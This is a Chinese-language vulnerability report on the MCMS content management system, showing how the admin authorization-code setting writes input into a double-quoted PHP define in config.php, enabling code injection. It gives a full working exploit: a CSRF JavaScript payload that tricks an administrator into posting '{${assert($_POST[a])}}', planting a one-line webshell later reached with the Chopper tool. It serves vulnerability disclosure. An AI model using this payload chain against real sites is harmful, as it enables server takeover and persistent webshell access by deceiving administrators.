### 简要描述:
mcms后台某功能getshell,再加上后台没有验证token,所以可以通过csrf直接拿shell
### 详细说明:
先说说后台getshell吧。
后台文件auth.php是设置授权码的地方,我们看其中有一个函数:
```
function m__set_auth() {
check_level("A0501");
$config ='../core/config.php';
$cf = file_get_contents($config);
$code = isset($_POST['auth']) && !empty($_POST['auth'])?$_POST['auth']:'';
if (AUTH_CODE != $_POST['auth']) {
set_config('AUTH_CODE', $code, $cf);
file_put_contents($config, $cf);
}
die('{"code":"0","msg":"成功设置授权码"}');
}
```
验证权限后,获得$_POST[auth],如果与现有的AUTH_CODE不相等,就把$_POST[auth]写进去。我们再来到set_config函数,看是怎么写的:
```
function set_config($name, $value, &$file) {
if (!isset($value)) $value = '';
if (preg_match('~"' . $name . '"~', $file)) {
$file = preg_replace('~define\("' . $name . '"\s*,\s*"(.*)"\)\s*;~i', 'define("' . $name . '", "' . $value . '");', $file, 1);
} else {
$file .= chr(13) . chr(10) . 'define("' . $name . '","' . $value . '");';
}
}
```
我们看到,这里设置define里用的是双引号,这样就有了任意代码执行的条件。
比如我们写{${phpinfo()}}试试:
[<img src="https://images.seebug.org/upload/201405/10165957840bc7fc113c9337dbf7f336e49b60df.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/10165957840bc7fc113c9337dbf7f336e49b60df.jpg)
显示“成功设置授权码”,那么,我们访问/core/config.php看看:
[<img src="https://images.seebug.org/upload/201405/10170032585e3304b17b9fbefb8bd0cc0cd1e7e6.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/10170032585e3304b17b9fbefb8bd0cc0cd1e7e6.jpg)
可以看到,已经执行了。
### 漏洞证明:
再加上mcms后台操作没有csrf token,所以可以通过csrf来拿shell。
将如下代码保存到js中,插入某页面,诱导管理员访问:
```
gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
gum.post('http://localhost/mcms/adm/auth.php?m=set_auth', {
'auth': '{${assert($_POST[a])}}'
});
```
菜刀已经能连了,可以看到配置文件中,一句话已经安静地躺在那里了:
[<img src="https://images.seebug.org/upload/201405/101737334ef8f7c7c7da5c87425b73efb0fc231f.jpg" alt="06.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/101737334ef8f7c7c7da5c87425b73efb0fc231f.jpg)
暂无评论